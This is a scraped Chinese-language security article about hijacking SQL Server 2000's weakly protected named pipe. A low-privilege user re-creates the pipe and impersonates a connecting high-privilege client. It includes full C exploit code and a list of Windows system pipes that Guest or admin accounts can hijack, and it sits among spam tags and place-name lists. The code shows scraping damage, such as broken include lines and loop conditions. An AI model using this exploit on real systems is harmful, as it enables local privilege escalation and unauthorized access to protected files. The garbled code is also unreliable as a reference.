濮阳杆衣贸易有限公司

主頁 > 知識庫 > SQL SERVER 2000通訊管道后復用劫持

SQL SERVER 2000通訊管道后復用劫持

熱門標簽:如何在地圖標注自己店鋪 洛陽外呼系統(tǒng)平臺 真人語音電銷機器人 寧波人工外呼系統(tǒng)有效果嗎 地圖標注一個圓圈怎么用 廣州人工電銷機器人費用 400外呼系統(tǒng)合法 電銷機器人被曝光 怎樣把地圖標注導入公司地址

作者:FLASHSKY
SITE:WWW.XFOCUS.NET
郵件:flashsky@xfocus.org

SQL SERVER 2000通訊中,允許使用有名管道來進行通訊,一般情況下是如此命名的:
默認實例:\\.\pipe\sql\query
命名實例:\\.\pipe\MSSQL$instancename\sql\query
也可以通過1434 UDP進行查詢獲得這個管道名稱

但是由于SQL SERVER 2000對于這個管道的ACL設置為NULL,導致任何用戶的權限都可以對這個管道進行劫持,以前的劫持都是利用先停掉服務,再建立這個名字管道,然后再啟動服務來復用自己已經(jīng)建立了名字的管道,但實際上SQL SERVER 2000會判斷是否已有同名管道,然后會取別的名字,而且低級權限的用戶也啟動和停止不了服務(除非是利用一些漏洞),但是實際上對管道的測試卻發(fā)現(xiàn):如果ACL設置成NULL的話,即使是后命名的管道,也可以劫持先命令的管道,只需要簡單復用管道,然后自己建立幾個管道的連接不釋放(具體建立幾個估計和真正的管道
建立時的實例個數(shù)有關,如在我的測試下,\\.\pipe\sql\query只需要建立1個接可以劫持了,而\\.\pipe\lsass則需要4-5個之后才能劫持。不過\\.\pipe\lsass的ACL只能是管理員才能進行劫持)
如果攻擊者復用了同名管道以后,建立起幾個不釋放的管道(消耗掉了正常管道的實例),然后再有客戶發(fā)起的管道連接就進入了攻擊者程序的管道監(jiān)聽流程,剩下的就是大家都知道的利用模擬函數(shù)獲得發(fā)起者權限的老生常談了:
下面就是一個簡單的例子,實現(xiàn)對SQL SERVER 2000管道通訊的劫持
環(huán)境:SQL SERVER 2000+SP2
      WIN2000 SERVER中文版+SP3
測試流程:
     1。先建立SQL 服務器允許管道通訊,和集成WINDOWS 驗證,添加一個具備高權限的允許SQL SERVER登陸的WINDOWS本機帳戶,啟動SQL SERVER服務
     2。C盤下建立一個TEST.TXT文件,設置ACL為GUEST全部拒絕,其他人都許可
     3。在另外一臺機器B上,以添加的可以登陸SQL SERVER的服務器帳戶登陸,然后設置客戶端網(wǎng)絡庫只為管道(如果有多個,可能就會是隨機選一個連接,而不肯定是管道進行通訊了)
     4。然后用SQL SERVER企業(yè)管理器建立一個SQL SERVER的連接,使用集成WINDOWS驗證
     5。SQL SERVER這邊的機器進入GUEST帳戶運行下面C代碼的程序,會顯示先無法打開TEST.TXT文件,然后進行劫持,等待客戶端管道連接
     6。在機器B上,連接SQL SERVER,然后主機A的程序就會截獲這個管道扮演高權限登陸用戶,然后可以打開先沒權限打開的文件。

    當然這個攻擊本身實際的意義可能不大,因為估計現(xiàn)在SQL SERVER用管道建立通訊的比較少,而且在都允許的情況下,一般會主動選擇TCP方式進行連接,但同時說明了:一個缺乏很好ACL保護的管道,也可以用后發(fā)復用來進行劫持,這就減少了很多需要先停掉服務或預先預測的難題,在編寫服務器端管道應用的時候也必須小心。

SQL SERVER 2000劫持代碼

#include windows.h>
#include winbase.h>
#include stdio.h>
#include stdlib.h>

void main()
{
  HANDLE pipea;
  FILE * fp;
  DWORD ret;
  DWORD num;
  HANDLE pipeb[100];
  int i;
  int dwSize ;
  char szUser[256];  
  DWORD dwNumber = 0;
    //先的測試,在GUEST權限下無法打開此文件
  fp = fopen("C:\\test.txt","w");
  if(fp==NULL)
    printf("now you don't open file;\n");
  //建立起一個同名管道,復用已存在的SQL SERVER的
  pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
    PIPE_ACCESS_DUPLEX,
    PIPE_TYPE_MESSAGE|PIPE_WAIT,
    100,
    2048,
    2048,
    NMPWAIT_USE_DEFAULT_WAIT,
    NULL);

  if(pipea ==INVALID_HANDLE_VALUE)
  {
    ret = GetLastError();
    printf("error in createnamedpipe!code=%d\n",ret);
    return;
  }
  //損耗掉其他正常實例
  if(WaitNamedPipe("\\\\.\\pipe\\sql\\query",NMPWAIT_WAIT_FOREVER)==0)
  {
    printf("no this pipe\n");
    return;
  }
  //可以調(diào)整個數(shù),SQL SERVER只需要調(diào)整一個就可以了
  for(i=0;i1;i++)
  {
    Sleep(20);
    if((pipeb[i]=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
    {
      printf("open pipe failed\n");
      return;
    }
    //WriteFile(pipeb[i],"test1",5,num,NULL);
    //WriteFile(pipeb[i],"test2",5,num,NULL);
  }
    //然后等待連接
  ConnectNamedPipe (pipea, NULL);
  ReadFile(pipea, (void *) dwNumber, 4, dwSize, NULL);
    //模擬連接進來的用戶
  ImpersonateNamedPipeClient (pipea);
  dwSize = 256;
    //獲得用戶信息
  GetUserName(szUser, dwSize);
  printf ("Impersonating: %s\n", szUser);  
    //然后再測試是否能打開這個文件,證明確實提升了權限
  fp = fopen("C:\\test.txt","w");
  if(fp!=NULL)
    printf("now you can open file\n");
  DisconnectNamedPipe(pipea);
  CloseHandle(pipea);
  for(i=0;i1;i++)
    CloseHandle(pipeb[i]);  
  return;
} 

補充:
所有管道都有這個漏洞,就是看ACL能否允許你復用,只要能復用就可以
如//./pipe/lsass 我都可以劫持,但是他的ACL定義成只能administrator進行劫持
目前測試了一下默認的一些管道基本ACL設置好好,不允許低級權限用戶復制,但SQL的管道顯示ACL設置的很差
可能更多服務或者其他的第三方的服務中存在這樣沒有很好ACL保護的管道,那么就意味著后復用也可以劫持成功

下面是我開啟了所有默認的WIN的服務,然后獲取的系統(tǒng)管道測試的結(jié)果(沒有開啟終端服務,我機器沒裝,裝了終端服務的可以測一下),另外也不能說沒有意義,我前面看見一篇文章還專門推薦用集成驗證加管道通訊獲得更安全的SQL SERVER呢,嘿嘿
Pipe name (Number of instances, Maximum instances)

InitShutdown (2, -1)---------------可以在ADMIN下劫持
net\NtControlPipe5 (1, 1)
llsrpc (2, -1)   ---------------可以在ADMIN下劫持
000001e8.000 (2, -1) -----------可以在ADMIN下劫持
net\NtControlPipe8 (1, 1)
net\NtControlPipe9 (1, 1)
ProfMapApi (2, -1)--------------可以在ADMIN下劫持
epmapper (2, -1)----------------可以在ADMIN下劫持
WMIEP_454 (2, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
WMIEP_444 (2, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
net\NtControlPipe11 (1, 1)
WMIEP_3c8 (2, -1)---------------可以在ADMIN下劫持
net\NtControlPipe12 (1, 1)
net\NtControlPipe13 (1, 1)
nddeapi (2, -1)-----------------可以在ADMIN下劫持------GUEST用戶可劫持
NetDDE (1, 1)                    返回所有管道實例都忙的錯誤信息,不知道是否ACL設置許可復用
net\NtControlPipe14 (1, 1)
Winsock2\CatalogChangeListener-e8-0 (1, 1)-----------------可以在ADMIN下劫持
net\NtControlPipe15 (1, 1)
Winsock2\CatalogChangeListener-574-0 (1, 1)-----------------可以在ADMIN下劫持
WMIEP_640 (2, -1)-----------------可以在ADMIN下劫持
Winsock2\CatalogChangeListener-640-0 (1, 1)-----------------可以在ADMIN下劫持
net\NtControlPipe25 (1, 1)
WMIEP_6f0 (2, -1)-----------------可以在ADMIN下劫持
sql\console (1, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
SQL\QUERY (1, -1)-----------------可以在ADMIN下劫持------GUEST用戶可劫持
net\NtControlPipe26 (1, 1)
tsx_listener (1, 1)         返回所有管道實例都忙的錯誤信息,不知道是否ACL設置許可復用
winreg (2, -1)-----------------可以在ADMIN下劫持
Winsock2\CatalogChangeListener-6f0-0 (1, 1)-----------------可以在ADMIN下劫持

其中在GUEST權限下可劫持的有
WMIEP_454 (2, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
WMIEP_444 (2, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
nddeapi (2, -1)-----------------可以在ADMIN下劫持------GUEST用戶可劫持
sql\console (1, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
SQL\QUERY (1, -1)-----------------可以在ADMIN下劫持------GUEST用戶可劫持
SQL 的就不說了,不過sql\console這個管道用于什么方面還不清楚,如果有默認的一些用途的話,估計也是一個點。
nddeapi的基本存在nddeapi的應用的話就可以發(fā)生
WMI的就難點,看這樣子是隨著發(fā)展每個連接都會新建起來的,那樣后復用作用就不大,只能采用預測名字的方法提前復用來攻擊,但是奇怪的是其權限是不同的,有些WMI的不能GUEST復用,有些又可以,有時間了具體測試一下WMI客戶與服務器之間連接產(chǎn)生的管道通訊的情況,或許也是走一個默認的管道名,說不定就可以攻擊了呢,:)

標簽:東營 南昌 咸寧 珠海 石家莊 晉中 北海 煙臺

巨人網(wǎng)絡通訊聲明:本文標題《SQL SERVER 2000通訊管道后復用劫持》,本文關鍵詞  SQL,SERVER,2000,通訊,管道,;如發(fā)現(xiàn)本文內(nèi)容存在版權問題,煩請?zhí)峁┫嚓P信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《SQL SERVER 2000通訊管道后復用劫持》相關的同類信息!
  • 本頁收集關于SQL SERVER 2000通訊管道后復用劫持的相關信息資訊供網(wǎng)民參考!
  • 推薦文章
    花莲市| 阳原县| 安庆市| 齐齐哈尔市| 登封市| 永登县| 莒南县| 阳东县| 盐城市| 中山市| 兰西县| 黄平县| 南澳县| 日喀则市| 罗山县| 石棉县| 洪洞县| 南部县| 共和县| 苍南县| 阳春市| 泾川县| 临汾市| 屯留县| 前郭尔| 香港| 房山区| 孝义市| 图木舒克市| 凉城县| 新和县| 湖北省| 华容县| 和龙市| 金平| 巴青县| 湟源县| 通渭县| 罗城| 西青区| 方正县|